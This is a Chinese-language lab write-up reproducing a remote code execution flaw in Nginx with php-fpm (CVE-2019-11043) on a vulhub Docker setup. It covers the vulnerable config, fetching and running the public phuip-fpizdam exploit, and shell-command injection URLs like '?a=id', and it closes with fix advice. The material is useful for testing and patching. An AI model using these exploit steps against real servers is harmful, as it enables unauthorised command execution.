看到各个群都是复现这个洞的,就复现下

漏洞简介:

Nginx 上 fastcgi_split_path_info 在处理带有 %0a 的请求时,会因为遇到换行符 \n 导致 PATH_INFO 为空。而 php-fpm 在处理 PATH_INFO 为空的情况下,存在逻辑缺陷。攻击者通过精心的构造和利用,可以导致远程代码执行。

影响范围:

Nginx + php-fpm 的服务器,在使用如下配置的情况下,都可能存在远程代码执行漏洞。

location ~ [^/]\.php(/|$) {
        fastcgi_split_path_info ^(.+?\.php)(/.*)$;
        fastcgi_param PATH_INFO       $fastcgi_path_info;
        fastcgi_pass   php:9000;
        ...
  }
}

注:完全复制Nginx官方给出的php-fpm示例配置的用户受到此漏洞影响

环境搭建:

安装docker:

(1) 安装准备

为了方便添加软件源,支持 devicemapper 存储类型,安装如下软件包

yum update

yum install -y yum-utils \

device-mapper-persistent-data \

lvm2

(2) 添加 yum 软件源

添加 Docker 稳定版本的 yum 软件源

yum-config-manager \

--add-repo \

[https://download.docker.com/linux/centos/docker-ce.repo](https://download.docker.com/linux/centos/docker-ce.repo)

(3) 安装 Docker

更新一下 yum 软件源的缓存,并安装 Docker。

yum update

yum install docker-ce

(4) 启动 Docker.

如果想添加到开机启动

systemctl enable docker

启动 docker 服务

systemctl start docker

(5) 验证安装

验证 Docker CE 安装是否正确,可以运行 hello-world 镜像

docker run hello-world

安装docker-composer:

(1) 下载对操作系统对应版本的docker-composer(执行以下命令会直接下载docker-composer到/usr/local/bin目录下)

curl -L https://github.com/docker/compose/releases/download/1.24.0-rc1/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose

示例:

图片

(2) 给予docker-composer执行权限:

cd /usr/local/bin
chmod +X docker-compose

示例:

图片

(3) 为其设置软连接,这样就可以在任何目录下都可以执行该命令了:

ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose

示例:

图片

构造漏洞环境:

(1) 克隆github上对应的环境:

git clone https://github.com/vulhub/vulhub.git

(2) 设置开机启动,编辑/etc/rc.d/rc.local末尾执行的命令(根据自己环境对用的路径填写)

图片

(3) 重启机器,等待十分钟左右,浏览器访问测试:

图片

可以看到环境成功搭建

漏洞复现:

漏洞检测:

使用少宇大佬github上的检测脚本:

图片

可以看到是存在漏洞的,接下来开始利用:

安装go环境:

(1) Centos下安装go环境:

a.直接yum安装,会提示找不到包,需要epel:

yum install -y epel-release

b.然后开始安装golang:

yum install golang

c.测试是否成功安装go:

go version

示例:

图片

(2) kali下安装go环境:

apt-get  install golang

(3) windows下安装go环境:

a.下载安装包,然后直接双击即可安装

地址:https://golang.org/dl/(需要翻墙)

https://golang.google.cn/dl/(不需要翻墙)

b.安装完一般已经添加好了环境变量,如未添加则自己把go的安装路径添加到环境变量中.验证do环境是否成功搭建:

图片

下载利用GitHub上的利用代码:

(1) 可以直接使用go来下载(前提你的机器装了git):

go get github.com/neex/phuip-fpizdam

示例:

图片

然后你会在go工作目录(如果安装go后,没有指定工作目录,默认会在系统用户目录下有个go文件夹)中的bin目录下找到编译好的程序,可以直接利用

图片

开始利用:

(1) 来到编译好的程序所在目录,在此目录下运行cmd,输入:

phuip-fpizdam.exe http://172.26.1.155:8080/index.php

错误示例:

图片

正确示例:

图片

(2) 打开浏览器访问漏洞所在页面,在后面添加

?a=/bin/sh+-c+'which+which'&

示例:(访问第一次没反应,我们刷新页面就会出现命令执行结果)

图片

出现上述页面,验证我们编译的程序没有问题

(3) 我们直接访问http://172.26.1.155:8080/?a=id 切换参数a的值即可执行不同的命令

图片

想继续研究的可以参考这个文章:

http://blog.leanote.com/post/snowming/9da184ef24bd

修复建议:

(1) 修改nginx配置文件中fastcgi_split_path_info的正则表达式,不允许.php之后传入不可显字符

(2) 暂停使用 nginx+php-fpm 服务

根据实际生产环境的业务需求,将以下配置删除

fastcgi_split_path_info ^(.+?\.php)(/.*)$;

fastcgi_param PATH_INFO  $fastcgi_path_info;

参考链接:

https://studygolang.com/articles/24247?fr=sidebar

https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043

https://github.com/neex/phuip-fpizdam

https://github.com/jas502n/CVE-2019-11043/blob/master/php-rce-check.py